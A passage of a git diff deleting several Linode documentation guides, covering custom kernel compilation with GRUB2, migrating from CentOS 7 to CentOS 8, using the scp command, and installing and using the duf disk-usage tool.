CONFIG_BLK_DEV_SD - CONFIG_SCSI_VIRTIO=y - CONFIG_VIRTIO_NET=y - CONFIG_SERIAL_8250=y - CONFIG_SERIAL_8250_CONSOLE=y - -We recommend that you start with a kernel configuration (config) from a running Linode kernel. All Linode kernels expose their configuration via `/proc/config.gz`. For example: - - zcat /proc/config.gz > .config - make oldconfig - -`make oldconfig` prompts the user to answer any new configuration options not present in the old configuration file. - -Changes to the kernel's configuration can be made with the `menuconfig` command. Enable any additional options, making sure to leave filesystem support (likely ext3 or ext4) compiled into the kernel (*not* configured as a module). For example, to enable SELinux support, check the option "Security options --\> NSA SELinux Support" in the configuration interface. - - make menuconfig - -Once your configuration options are set, exit the configuration interface and answer "y" for yes when asked whether you would like to save the new kernel configuration. - -### Compile the Kernel - -1. Compile and install the kernel and modules: - - make bzImage - make modules - make - make install - make modules_install - - {{< note >}} - If you're using a Linode with multiple cores, you can use the `j` option to spawn multiple simultaneous jobs to increase speed. For example: - - make -j2 bzImage - {{< /note >}} - -2. Give the kernel a more descriptive name. Modify `vmlinuz-4.7-custom` in the command below to reflect the kernel version you've just compiled: - - mv /boot/vmlinuz /boot/vmlinuz-4.7-custom - -3. Create an `initrd` file. Again, adjust the filename to match the current kernel version: - - mkinitrd /boot/initrd-4.7-custom.img /boot/vmlinuz-4.7-custom - -4. Edit `/etc/default/grub` and add or change the following variables to match. There will be other variables in this file, but we are only concerned with those listed below: - - {{< file "/etc/default/grub" >}} -GRUB_TIMEOUT=10 -GRUB_DISABLE_LINUX_UUID=true -GRUB_CMDLINE_LINUX="console=tty1 console=ttyS0,19200n8" -GRUB_SERIAL_COMMAND="serial --speed=19200 --unit=0 --word=8 --parity=no --stop=1" -GRUB_TERMINAL="serial console" - -{{< /file >}} - - - Comment or remove any lines starting with `GRUB_HIDDEN`. - -5. Make the `grub` directory and build your GRUB configuration file: - - mkdir /boot/grub - grub2-mkconfig -o /boot/grub/grub.cfg - -## Configure the Linode - -1. In the Linode Dashboard, click **Edit** next to your Configuration Profile (usually named after the version of Linux installed). - -2. Under **Boot Settings**, click on the **Kernel** drop-down menu, and select **GRUB2**: - - ![The GRUB2 Option.](custom-kernel-grub2.png) - -3. Click **Save Changes**. You can now reboot the Linode. We suggest opening a [LISH](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) or [GLISH](https://techdocs.akamai.com/cloud-computing/docs/access-your-desktop-environment-using-glish) session first, so you can monitor the boot process and troubleshoot if necessary. - - -Note that if you install an updated kernel, you need to create a new `initrd` file, and update GRUB. - -Congratulations, you've booted your Linode using a custom-compiled kernel! - -{{< note >}} -You may need to run `cp /boot/grub/unicode.pf2 /boot/grub/fonts/` for the boot menu to properly display in GLISH. Your Linode will still boot, assuming there are no configuration issues, without this command. -{{< /note >}} - diff --git a/docs/guides/tools-reference/custom-kernels-distros/how-to-upgrade-from-centos-7-to-centos-8/index.md b/docs/guides/tools-reference/custom-kernels-distros/how-to-upgrade-from-centos-7-to-centos-8/index.md deleted file mode 100644 index 366af15d786..00000000000 --- a/docs/guides/tools-reference/custom-kernels-distros/how-to-upgrade-from-centos-7-to-centos-8/index.md +++ /dev/null @@ -1,175 +0,0 @@ ---- -slug: how-to-upgrade-from-centos-7-to-centos-8 -title: "Upgrading from CentOS 7 to CentOS 8" -title_meta: 'How to Upgrade from CentOS 7 to CentOS 8' -description: 'Instructions for upgrading from CentOS 7 to CentOS 8.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-01-23 -keywords: ["upgrade", "centos8", "centos7", "upgrade centos", "centos"] -tags: ["centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Upgrade_CentOS7_to_8.png -aliases: ['/tools-reference/custom-kernels-distros/how-to-upgrade-from-centos-7-to-centos-8/'] ---- - -[CentOS](https://www.centos.org) is a Linux distribution derived from [Red Hat Enterprise Linux (RHEL)](https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux). Some key features new for [CentOS 8](https://wiki.centos.org/Manuals/ReleaseNotes/CentOS8.1905) are: - -- Default [desktop environment](https://www.gnome.org) installation. -- TCP Networking Stack version 4.16. -- Default packet filtering with [nftables](https://en.wikipedia.org/wiki/Nftables). -- Improved security with [OpenSSL 1.1.1](https://www.openssl.org/news/openssl-1.1.1-notes.html) which includes TSL 1.3. - -When upgrading from CentOS 7 to CentOS 8, the cleanest path to migration is to spin up a new installation and move your data. While Red Hat provides an upgrade tool for upgrading to RHEL 8, there is currently no reliable equivalent for CentOS usage. Therefore, upgrading in place is not recommended. This guide will show you how to make the clean install and migration process as quick and easy as possible. - -## In This Guide -This guide will walk you through the steps to migrate from CentOS 7 to CentOS 8 by: - -- [Backing up your CentOS 7 installation](#back-up-your-data) -- [Creating a new CentOS 8 installation](#create-a-new-deployment) -- [Mounting your old CentOS 7 backup](#mount-the-disk) -- [Moving your data to the CentOS 8 installation](#copy-the-files) -- [Cleaning Up](#clean-up) - -## Prepare Your Linode - -### Back Up Your Data -For this guide you will need a backup of your existing CentOS 7 installation. You can back up your Linode in two ways. - -- You can enroll in [Linode's Backup Service](https://techdocs.akamai.com/cloud-computing/docs/backup-service). This will take automatic regular backups for you, and give you the option of taking a [Manual Snapshot](https://techdocs.akamai.com/cloud-computing/docs/take-a-manual-snapshot) at any time. -- For alternative backups solutions, see our [Backing Up Your Data](/cloud/guides/backing-up-your-data/) guide. - -When creating your backup, it's recommended that you [Resize Your Disk](https://techdocs.akamai.com/cloud-computing/docs/manage-disks-on-a-compute-instance) to the smallest size possible in advanced in order to ensure that you are able to allocate an extra disk in a later step. -{{< note type="alert" >}} - -It is important to note that automatic backups using Linode's Backup Service will be overwritten after between 8-14 days have passed. If you would like a backup of your Linode to be preserved for a longer time period, it is recommended that you take a [Snapshot](https://techdocs.akamai.com/cloud-computing/docs/take-a-manual-snapshot) which will never expire unless manually overwritten. - -{{< /note >}} - -### Create a New Deployment - -1. In Cloud Manager, click on the Linode that currently has CentOS 7 installed. - -1. Click on the **Rebuild** tab. - -1. From the **Images** drop down menu, select the CentOS 8 image and enter a Root Password. Optionally, add an SSH key. - -1. Click the **Rebuild** Button. This will create a new CentOS 8 disk and configuration profile. You can read more about configuration profiles in the [Managing Configuration Profiles on a Linode](https://techdocs.akamai.com/cloud-computing/docs/manage-configuration-profiles-on-a-compute-instance) guide. - -1. Shut down the Linode by clicking on the status icon and choosing **Power Off** from the drop down menu. - -1. Click the **Disks/Configs** tab. - -1. Resize the CentOS 8 Disk by clicking the **More Options Ellipses** and choosing the Resize option from the drop down menu. - - ![Resize CentOS 8 Disk](upgrade-centos8-resize-centos8-disk.png "Resize CentOS 8 Disk") - -1. Leave enough space to make a new disk for your backup. - -1. Click the **Backups** tab, followed by the **More Options Ellipses** next to the backup you created, and select **Restore to Existing Linode** from the drop down menu. - - ![Restore Backup to Existing Linode](upgrade-centos8-restore-to-existing.png "Restore Backup to Existing Linode") - - {{< note >}} - If your Linode's disks have been using the entirety of allocatable space available to your Linode, then you will either need to [Resize Your Disk](https://techdocs.akamai.com/cloud-computing/docs/manage-disks-on-a-compute-instance) so that you can take a new [Snapshot](https://techdocs.akamai.com/cloud-computing/docs/take-a-manual-snapshot), or [Resize Your Linode](https://techdocs.akamai.com/cloud-computing/docs/resize-a-compute-instance) - {{< /note >}} - -1. Select the current Linode and leave the box for **Overwrite Linode** unchecked. Then click the **Restore** button. - - ![Restore to Existing Linode Panel](upgrade-centos8-restore-backup-panel.png "Restore to Existing Linode Panel") - -1. This will create two new disks, one for the main disk and one swap, and a new configuration profile. All will have *Restore* at the beginning of their names. - - ![New Disks Created After Restore](upgrade-centos8-new-disks-after-restore.png "New Disks Created After Restore") - -## Move Your Data - -### Prepare the Disk Configuration - -1. When the restore has completed, click the **Disks/Configs** tab. - -1. Edit the CentOS 8 Disk Configuration by clicking the **More Options Ellipses** and choosing **Edit** from the drop down menu. - -1. The Edit Linode Configuration Panel will open. In the **Block Device Assignment** section add the *Restore CentOS 7* disk to `/dev/sdc`. Click the **Submit** button to save this change. - - ![Add Restore Disk to Block Device Assignment](upgrade-centos8-block-device-assignment.png "Add Restore Disk to Block Device Assignment") - -1. Click the **More Options Ellipses** for the CentOS 8 Disk Configuration and select **Boot This Config** from the drop down menu. - - ![Boot This Configuration Drop Down Menu](upgrade-centos8-boot-this-config.png "Boot This Configuration Drop Down Menu") - -1. Now you can SSH into your server. Don't forget to [secure your new installation](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance). - -### Mount the Disk - -1. Use the `lsblk` command to view the filesystem attached to your system. - - lsblk - -1. The output should look similar to this: - - {{< output >}} -NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT -sda 8:0 0 2.1G 0 disk / -sdb 8:16 0 512M 0 disk [SWAP] -sdc 8:32 0 24.5G 0 disk -{{}} - - Notice how `sdc` doesn't have a mountpoint specified, this is because it isn't mounted yet. - -1. Mount your old CentOS 7 drive: - - mount /dev/sdc /media - - Feel free to change the directory to something other than `/media`. However, any content in the directory you choose will be inaccessible while you have a filesystem mounted to it. - -1. Check that this was successful by running the `lsblk` command again: - - {{< output >}} -sda 8:0 0 2.1G 0 disk / -sdb 8:16 0 512M 0 disk [SWAP] -sdc 8:32 0 24.5G 0 disk /media -{{}} - -1. Your files should be listed under the directory `/media`. - -### Copy the Files - -1. You can copy them with `cp`. For example: - - cp -r /home/media/home/username/MyFiles /home/username/MyFiles - - - The `-r` option tells this to copy directories recursively. Omit this if you only want to copy one directory without its child directories, or if you are copying single files. - - The first location is the source on the mounted drive. - - The second location is the destination on your new installation. - -1. Unmount the disk when you are finished copying your files: - - umount /dev/sdc - -## Clean Up - -### Remove the Backup Disks and Configuration -When you are sure you've copied all your files, you can delete the disks and configurations created by the backup restore. - -1. Power down your Linode. - -1. Click the **Disks/Configs** tab. - -1. Click the **More Options Ellipses** next to the backup disk and select **Delete** from the drop down menu. - - ![Delete Backup Disk](upgrade-centos8-delete-backup-disk.png "Delete Backup Disk") - -1. Do the same for the swap disk and the configuration that was created from the backup restore. - -### Resize Your Disk - -Optionally, you can resize the CentOS 8 Disk to expand to the size remaining on your Linode. - -1. From the **Disks/Configs** tab, click on the **More Options Ellipses** for the CentOS 8 disk and select **Resize** from the drop down menu. - -1. Enter the maximum size allowed as provided under the field. - - ![Enter the Maximum Size to Resize Disk](upgrade-centos8-cleanup-resize-entire-disk.png "Enter the Maximum Size to Resize Disk") - -1. Click the **Resize** button. diff --git a/docs/guides/tools-reference/file-transfer/how-to-use-scp/index.md b/docs/guides/tools-reference/file-transfer/how-to-use-scp/index.md deleted file mode 100644 index 87e98f0b9de..00000000000 --- a/docs/guides/tools-reference/file-transfer/how-to-use-scp/index.md +++ /dev/null @@ -1,266 +0,0 @@ ---- -slug: how-to-use-scp -title: "Transfer Files With the scp Command on Linux" -title_meta: "How to Transfer Files With the scp Command on Linux" -description: "Learn how to transfer files using SCP on Linux, and how SCP compares to other means of transferring files." -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny", "Adam Overa"] -published: 2023-03-14 -modified: 2024-05-01 -keywords: ['Scp command','Scp linux','Scp syntax','Scp example'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Ubuntu man page for scp](http://manpages.ubuntu.com/manpages/focal/man1/scp.1.html)' -- '[TFTP RFC 1350](https://datatracker.ietf.org/doc/html/rfc1350)' ---- - -Copying files to a remote computer is a very common task. While there are many programs and utilities to accomplish this, not all of them are secure. A popular choice to more quickly and securely copy files is the Secure Copy Protocol (SCP). This guide describes how SCP works and explains how to use the `scp` command on Linux distributions. It also provides several `scp` examples, demonstrating several different scenarios. - -## An Introduction to SCP - -SCP is a way to transfer files with a reasonably high level of security. It allows users to copy files between their local server and a remote system, leaving the original in place. SCP can both upload and download files. It also allows users to copy over entire directories of files. As an extra convenience, it can even copy files between two different remote systems. - -SCP refers to both the protocol and the `scp` Linux utility. SCP replaced the original `rcp` command, which is no longer considered secure. It is not defined in an RFC, but most Linux distributions have documentation or a "man page" describing how to use it. For example, Ubuntu includes a [scp man page](http://manpages.ubuntu.com/manpages/focal/man1/scp.1.html). - -Before transferring the files, the client establishes an SCP connection to the remote server. By default, SCP connects using Transport Control Protocol (TCP) port `22`. The remote server then invokes the SCP process. SCP can operate in one of two modes: - -- **Source Mode**: Source mode accesses the requested source file from the file system and transmits it back to the client. -- **Sink Mode**: Sink mode accepts the file from the client and saves it to the specified directory. - -SCP uses the *Secure Shell* (SSH) protocol as a base layer. SSH authenticates the user and encrypts the data for transfer. In addition to encrypting the file contents, SCP also encrypts all passwords. Because the files are encrypted, they cannot be accessed via a man-in-the-middle attack. - -SCP also supports remote-to-remote mode. Originally, SCP established a direct connection between the remote source and the remote destination. This allowed data to pass between the two nodes without having to pass through the local host. But in most recent releases, data is routed through the originating node as the default. This is more secure but is also less efficient. - -SCP is designed for speed and efficiency. It is considered a solid, reliable, and straightforward way to copy files. However, it is very basic in its functionality. Some security analysts have criticized it as inflexible and limited. For example, SCP does not interact properly with interactive shell profiles. SSH profile messages can also cause errors or connection failures. SCP does not allow users to list, delete, or rename files. Because of its limited functionality, some experts recommend SFTP and `rsync` instead. - -{{< note >}} -No single protocol can be considered completely secure on its own. Before handling extremely sensitive data, consult with a security expert. -{{< /note >}} - -### The Differences Between SCP and SFTP - -Both SCP and the SSH File Transfer Protocol (SFTP) are methods to more securely copy files between different systems. While both protocols have their own advantages, either option can be used in most cases. The following list highlights some of the similarities and differences between the two systems: - -- Both SCP and the SSH File Transfer Protocol (SFTP) are considered more secure than legacy protocols like FTP. -- Both protocols use TCP as their transport protocol. They both use port `22` by default. -- Both protocols rely on SSH for encryption and public key authentication. However, SCP only uses SSH as a supporting layer while SFTP is based on SSH. SSH is better integrated with SFTP than it is with SCP. -- Older releases of SCP had some security vulnerabilities. For instance, attackers could compromise an SCP server. However, new versions of SCP have fixed these issues. Such issues were never present in SFTP. -- SCP is typically faster than SFTP. It uses a more efficient algorithm to transfer the files. -- SCP is optimized for one-time file transfers and works well with shell scripts. -- SCP works better on Linux systems, while SFTP is the standard for Windows. -- SCP is non-interactive, but SFTP permits interactive sessions. SFTP allows users to pause and resume file transfers. -- SFTP has additional file management features. It allows users to list, delete, and rename files. SCP is a simpler protocol that can only perform basic file transfers. - -## Before You Begin - -1. If you have not already done so, create a Linode account and at least two Compute Instances. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Create the following example files and directories on your local machine: - - ```command {title="Local Machine"} - mkdir ~/example_archive ~/example_directory - touch ~/example_directory/file1.txt ~/example_directory/file2.txt ~/example_directory/file3.txt - ``` - -1. Log in to the first instance and create the following example directory: - - ```command {title="Instance #1"} - mkdir ~/example_backup1 - ``` - -1. Log in to the second instance and create the following example directory: - - ```command {title="Instance #2"} - mkdir ~/example_backup2 - ``` - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## SCP Basic Syntax - -The `scp` utility implements SCP on Linux systems. It is typically included as part of the SSH package, and should already be installed on most distributions. - -The `scp` syntax is not as complex as it first appears. A typical `scp` command consists of the following components, in the order below: - -- The `scp` command keyword. -- One or more options. -- The path to the source file. For remote source files, the remote user account and host identifier must be specified. The full format for a remote source file is `username@hostid:file`. -- The location of the destination directory. For a remote destination, a username and server name/IP are required. The format for a remote destination directory is `username@hostid:directory`. - -The `hostid` can be either a hostname or an IP address, and the remote `file` or `directory` must specify the full path. - -The `scp` command syntax follows this format, with optional components enclosed in square brackets `[]`: - -```command -scp [options] source_username@source_host:source_file dest_userid@dest_host:destination_dir -``` - -The `scp` command permits users to choose from a list of options. The most common `scp` options are as follows: - -- **-C**: Compress the file data. -- **-i**: Use the specified private key for the remote system. -- **-l**: Set a bandwidth limit for the file transfer. -- **-P**: Use the specified port for SSH. -- **-p**: Copy over the file modification and access time. -- **-q**: Use quiet mode. Quiet mode suppresses the progress meter and informational messages, though error messages are still printed. -- **-r**: Copy directories recursively. -- **-v**: Print debug messages. - -To use `scp`, the user must have read access for the files they are transferring and write permission on the destination directory. For authentication purposes, either an SSH key or user password is required for the destination. For more information on SSH, see our guide on [Connecting to a Remote Server Over SSH on Linux](/cloud/guides/connect-to-server-over-ssh-on-linux/). - -{{< note type="alert" >}} -Exercise a high degree of caution when using `scp`. It does not provide any warnings or ask for confirmation before overwriting an existing file with the same name. It is very easy to accidentally overwrite files or directories, especially when using `scp` in recursive mode. -{{< /note >}} - -## How to Transfer Files from a Local System to a Remote Server Using SCP - -The following principles apply when using `scp` to copy a file from the local host to a remote server: - -- Use the syntax `scp [options] local_directory/local_filename remote_username@remote_hostid:remote_target_directory`. -- The full path of the remote directory must be specified. The local path can be either relative or absolute. -- Include the name of the user account for the remote system. -- The host can be identified by either its name or IP address. -- A username or account is not required for the local file. -- The user must have read access to the files being transferred, and write access to the destination directory. - -The following example copies a file named `file1.txt` to the `/example_backup1` directory on the destination server. It specifies a username for the destination server, along with an IP address for the destination. To use the `scp` command on Linux to transfer a local file, follow the steps below: - -Enter the SCP information using the name of the local file and full details for the remote server: - -```command {title="Local Machine"} -scp example_directory/file1.txt REMOTE_USER_1@REMOTE_IP_ADDRESS_1:example_backup1 -``` - -Enter the remote user password if prompted. The system displays a progress bar indicating the amount of data that has been transferred. When the progress bar reaches `100%`, the transfer is complete: - -```output -file1.txt 100% 0 0.0KB/s 00:00 -``` - -Access the remote server to confirm the file is now present. - -### Rename Copied Files - -To give the file a new name on the destination server, append a new name to the target directory. This command renames the copy of `file1.txt` to `file1.bak` on the destination server. - -```command {title="Local Machine"} -scp example_directory/file1.txt REMOTE_USER_1@REMOTE_IP_ADDRESS_1:example_backup1/file1.bak -``` - -```output -file1.txt 100% 0 0.0KB/s 00:00 -``` - -### Copy Directory and All Files - -Place any options between the `scp` command keyword and the name of the local file. The example below uses the `-r` option to recursively copy the local `example_directory` directory and all of its files to the destination directory: - -```command {title="Local Machine"} -scp -r example_directory REMOTE_USER_1@REMOTE_IP_ADDRESS_1:example_backup1 -``` - -```output -file1.txt 100% 0 0.0KB/s 00:00 -file2.txt 100% 0 0.0KB/s 00:00 -file3.txt 100% 0 0.0KB/s 00:00 -``` - -### Copy Using a Different Port - -The default TCP port `22` can be overridden using the `-P` flag, for example, `scp -P 2000`. To execute the `scp` example using port `2000`, use the following command: - -```command {title="Local Machine"} -scp -P 2000 example_directory/file2.txt REMOTE_USER_1@REMOTE_IP_ADDDRESS_1:example_backup1/file2.bak -``` - -```output -file2.txt 100% 0 0.0KB/s 00:00 -``` - -{{< note >}} -SCP must be running on the specified port on the destination server. -{{< /note >}} - -### Transfer Multiple Files - -The `scp` program can efficiently transfer multiple files at the same time. The following command copies `file2.txt` and `file3.txt` to the `example_backup1` directory on the remote server. - -```command {title="Local Machine"} -scp ~/example_directory/file2.txt ~/example_directory/file3.txt REMOTE_USER_1@REMOTE_IP_ADDRESS_1:example_backup1 -``` - -```output -file2.txt 100% 0 0.0KB/s 00:00 -file3.txt 100% 0 0.0KB/s 00:00 -``` - -## How to Transfer Files from a Remote System to a Local System Using SCP - -Transferring files from a remote system to the local system uses the same `scp` command. However, the remote server details are specified first. Enter the remote username, server details, source directory, and filename after any options. Then, specify the directory on the local host to copy the file to. The `scp` command follows the format `scp remote_userid@remote_host:remoteSourceDirectory/SourceFile local_directory`. - -To copy a file from a remote system to the local system, follow the steps below. This example copies `file1.txt` from the `example_backup1` directory of the destination system to the `example_archive` directory on the local computer. - -Use the `scp` command to specify the username, identifier, and the full path of the file to transfer, then indicate the destination directory: - -```command {title="Local Machine"} -scp REMOTE_USER_1@REMOTE_IP_ADDDRESS_1:example_backup1/file1.txt example_archive -``` - -If requested, enter the password for the remote system. When the progress bar indicates the transfer is `100%` complete, the file has been transferred: - -```output {title="Local Machine"} -file1.txt 100% 0 0.0KB/s 00:00 -``` - -Confirm the file is now present on the local system. - -The same options and syntax used when transferring a file to a remote system can also be used here. The following example recursively copies the `/example_backup1` directory and its entire contents on the remote system to the local system: - -```command {title="Local Machine"} -scp -r REMOTE_USER_1@REMOTE_IP_ADDDRESS_1:example_backup1 example_archive -``` - -```output -file1.bak 100% 0 0.0KB/s 00:00 -file1.txt 100% 0 0.0KB/s 00:00 -file1.txt 100% 0 0.0KB/s 00:00 -file2.bak 100% 0 0.0KB/s 00:00 -file2.txt 100% 0 0.0KB/s 00:00 -file2.txt 100% 0 0.0KB/s 00:00 -file3.txt 100% 0 0.0KB/s 00:00 -file3.txt 100% 0 0.0KB/s 00:00 -``` - -## How to Transfer Files Between Two Remote Systems Using SCP - -The `scp` utility has an unexpected benefit that is not as widely known. It allows users to transfer files between two different remote servers from a third host. The command works the same way, except login and host details are required for both the source and destination servers. After entering the command, `scp` prompts for any required passwords. - -```command {title="Local Machine"} -scp REMOTE_USER_1@REMOTE_IP_ADDDRESS_1:example_backup1/file1.txt REMOTE_USER_2@REMOTE_IP_ADDDRESS_2:example_backup2/file1.bak -``` - -Some older implementations of `scp` transfer files directly between the source and destination routers. Traffic does not pass through the local host. In more recent releases, traffic is routed through the local machine by default for added security. To force traffic to be transferred through the local machine, include the `-3` option: - -```command {title="Local Machine"} -scp -3 REMOTE_USER_1@REMOTE_IP_ADDDRESS_1:example_backup1/file2.txt REMOTE_USER_2@REMOTE_IP_ADDDRESS_2:example_backup2/file2.bak -``` - -{{< note >}} -The source and destination systems both require the local machine's SSH key to authenticate. If `scp` displays any authentication errors, ensure your local machine's SSH key included in the `~/.ssh/authorized_keys` files of both remote machines. -{{< /note >}} - -## Use Cases for SCP - -SCP is a straightforward utility that quickly and efficiently transfers files. However, it does not offer many options and does not work in interactive mode. Nor does it offer any management tools, such as the ability to list remote directories or delete files. - -The main use case for SCP is for one-time transfers where speed is important. It is not as useful for more complicated tasks. In those cases, try SFTP instead. - -## Conclusion - -The SCP Linux utility is a more secure alternative to traditional applications like FTP. It can copy files between a local host and a remote server, or between two remote servers. The SCP protocol uses SSH as an underlying layer for authentication and encryption. SCP and SFTP are two methods of transferring files between servers. SCP is faster and simpler, while the more fully-featured SFTP provides an interactive mode and more management options. - -Linux systems can use the `scp` command to transfer files. Although it has a handful of options, `scp` is very straightforward to use. Details about the source file must be specified first, then information about the destination directory. To authenticate with a remote server, a username and host information must be included. Multiple files can be transferred at the same time, and directories can be recursively copied. For more information about the Linux `scp` command, consult the [Ubuntu man page for scp](http://manpages.ubuntu.com/manpages/focal/man1/scp.1.html). \ No newline at end of file diff --git a/docs/guides/tools-reference/tools/duf-command-on-linux-installation/index.md b/docs/guides/tools-reference/tools/duf-command-on-linux-installation/index.md deleted file mode 100644 index f5a068cdd55..00000000000 --- a/docs/guides/tools-reference/tools/duf-command-on-linux-installation/index.md +++ /dev/null @@ -1,188 +0,0 @@ ---- -slug: duf-command-on-linux-installation -title: "Install and Use the duf Command on Linux" -title_meta: "How to Install and Use the duf Command on Linux" -description: "Learn how to use the duf utility for checking disk usage and free space on your Linux system. With duf, you get a modern and more user-friendly alternative to both du and df." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2021-11-11 -keywords: ['duf linux','du linux','df linux', 'linux disk usage'] -tags: ['linux'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Duf is a command-line tool for viewing your system's disk usage and free space. It combines into one place the information you might otherwise get from the `du` and `df` commands and presents that information in a clean and modern interface. In this guide, you learn more about duf, how it compares to the `du` and `df` commands, and how to install it on your Linux system. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -The steps in this guide are written for non-root users. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Linux Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What is duf? - -[duf](https://github.com/muesli/duf) gives you a single tool for checking disk usage and free space. By default, Linux systems provide the du and df tools for viewing disk usage and space, respectively, from the command line. Duf presents the same information as du and df and renders it in a modern and easy-to-read command-line display. - -Where `du` and `df` give you limited control over how information is shown, duf gives you options for sorting, filtering, and otherwise altering the display. You can learn more about `du` and `df` in our [How to Check and Clean a Linux System's Disk Space](/cloud/guides/check-and-clean-linux-disk-space/) guide. - -In the following sections, you can see some examples of how duf compares to du and df. Specifically, take a look at the [How to Use duf](/cloud/guides/duf-command-on-linux-installation/#how-to-use-duf) section below to see side-by-side comparisons. - -## How to Install duf - -1. Visit the duf [releases page](https://github.com/muesli/duf/releases), find the latest release, and identify the package file appropriate for your machine. Then, copy the URL for the file you identify. - - To do this, you need to know your system's CPU architecture, which you can get via the command below: - - lscpu | grep Architecture - - - For `x86_64` (like in the example output below), use a package ending in `linux_amd64` from the duf releases page. - - For `i386` or `i686`, use a package ending in `linux_386` from the duf releases page. - - Otherwise, you should generally be able to find a package ending in `linux_` followed by your system's listed architecture. - - {{< output >}} -Architecture: x86_64 - {{< /output >}} - - Use the corresponding package file ending in `.deb` if you are on a **Debian** or **Ubuntu** distribution or a `.rpm` file extension if you are on an RHEL distribution like **AlmaLinux**, **CentOS**, or **Fedora**. - - So, for example, on a Debian system with an **x86_64** (AMD64) architecture, use the `duf_0.6.2_linux_amd64.deb` file (assuming **0.6.2** is the latest release). - -1. Download the package file using the command below. Replace the URL with the one you copied in the step above. - - curl -LO https://github.com/muesli/duf/releases/download/v0.6.2/duf_0.6.2_linux_amd64.deb - -1. Install duf from the downloaded package. You can use one of the following methods, depending on your Linux distribution. Be sure to replace the example filename with the actual filename of the package file you downloaded. - - - On **Debian** and **Ubuntu** distributions, use the following command: - - sudo dpkg -i duf_0.6.2_linux_amd64.deb - - - On **AlmaLinux**, **CentOS**, and **Fedora**, use the following command: - - sudo rpm -i duf_0.6.2_linux_amd64.rpm - -1. Verify your installation by checking the installed version of duf. - - duf --version - - {{< output >}} -duf 0.6.2 (d1d2865) - {{< /output >}} - -## How to Use duf - -For basic usage, you can just run the `duf` command alone, and you should see an output similar to the following: - -![Basic duf usage](duf-basic.png) - -This provides roughly the equivalent of the `sudo df -h` command, as you can see from the output below: - -{{< output >}} -Filesystem Size Used Avail Use% Mounted on -udev 3.9G 0 3.9G 0% /dev -tmpfs 798M 8.4M 790M 2% /run -/dev/sda 158G 1.1G 149G 1% / -tmpfs 3.9G 0 3.9G 0% /dev/shm -tmpfs 5.0M 0 5.0M 0% /run/lock -tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup -tmpfs 798M 0 798M 0% /run/user/1001 -{{< /output >}} - -You can use a command like `sudo du / -sh` to get local drive usage alone. - -{{< output >}} -1.1G / -{{< /output >}} - -Notice that, compared to the `du` and `df` commands, `duf` makes the information much easier to read, separating information by device type and clearly demarcating fields. - -You can go even deeper with duf, listing information for pseudo, duplicate, and inaccessible devices as well. - - duf --all - -![Listing all devices in duf](duf-all-devices.png) - -Duf gives an array of additional options to let you control what information you see. You can see the examples of these options presented in the following sections. - -### Limit Results by Path - -You can limit your results by passing one or more paths to the `duf` command, separated by spaces. For each path, `duf` includes an entry for the relevant device, and all non-matching devices are excluded from the output. - -The example below gives `duf` three paths. Notice that the output has three entries, each corresponding to a device for one of the input paths. - - duf /dev /etc/opt /var/log - -![Devices corresponding to given paths in duf](duf-paths.png) - -### Sorting and Arranging - -Duf allows you to define how its displayed tables should be sorted, via the `--sort` option. You can sort by `avail`, `filesystem`, `inodes`, `inodes_avail`, `inodes_usage`, `inodes_used`, `mountpoint`, `size`, `type`, `usage`, or `used`. - -Below is an example sorting the tables by `used`: - - duf --sort used - -![Sorting def by used](duf-sort-used.png) - -Similarly, duf allows you to define what columns you want to show in each table, by way of the `--output` option. This option accepts the same set of columns used for sorting (above), and you can list multiple columns as a comma-separated list (no spaces). - -Below is an example that produces tables with device size, available space, used space, and usage percentage. - - duf --output size,avail,used,usage - -![Defining columns for duf tables](duf-columns-size.png) - -### Filtering - -Duf gives you two options for filtering out devices. - -- You can filter by display table using the `--only` and `--hide` options. Duf displays devices in one of six tables, based on the kinds of devices: `local`, `network`, `fuse`, `special`, `loops`, and `binds`. - - So, to show only devices included in the `local` and `network` tables, use the following command: - - duf --only local, network - - Similarly, to exclude devices included in the `fuse`, `loops`, and `binds` tables, use the following command: - - duf --hide fuse,loops,binds - -- You can filter by devices' file systems using the `--only-fs` and `--hide-fs` options. - - To show only devices with `tmpfs` file systems, for instance, use the following command: - - duf --only-fs tmpfs - -### Export to JSON - -Duf also supports exporting your results in a JSON format. This export option allows the output to be easily used in custom applications. - - duf --json - -{{< output >}} -[ - { - "device": "sysfs", - "device_type": "special", - "mount_point": "/sys", - "fs_type": "sysfs", - "type": "sysfs", - "opts": "rw,nosuid,nodev,noexec,relatime", - "total": 0, - "free": 0, - "used": 0, - "inodes": 0, - "inodes_free": 0, - "inodes_used": 0, - "blocks": 0, - "block_size": 4096 - }, - [...] - {{< /output >}} - -## Conclusion - -Duf makes an 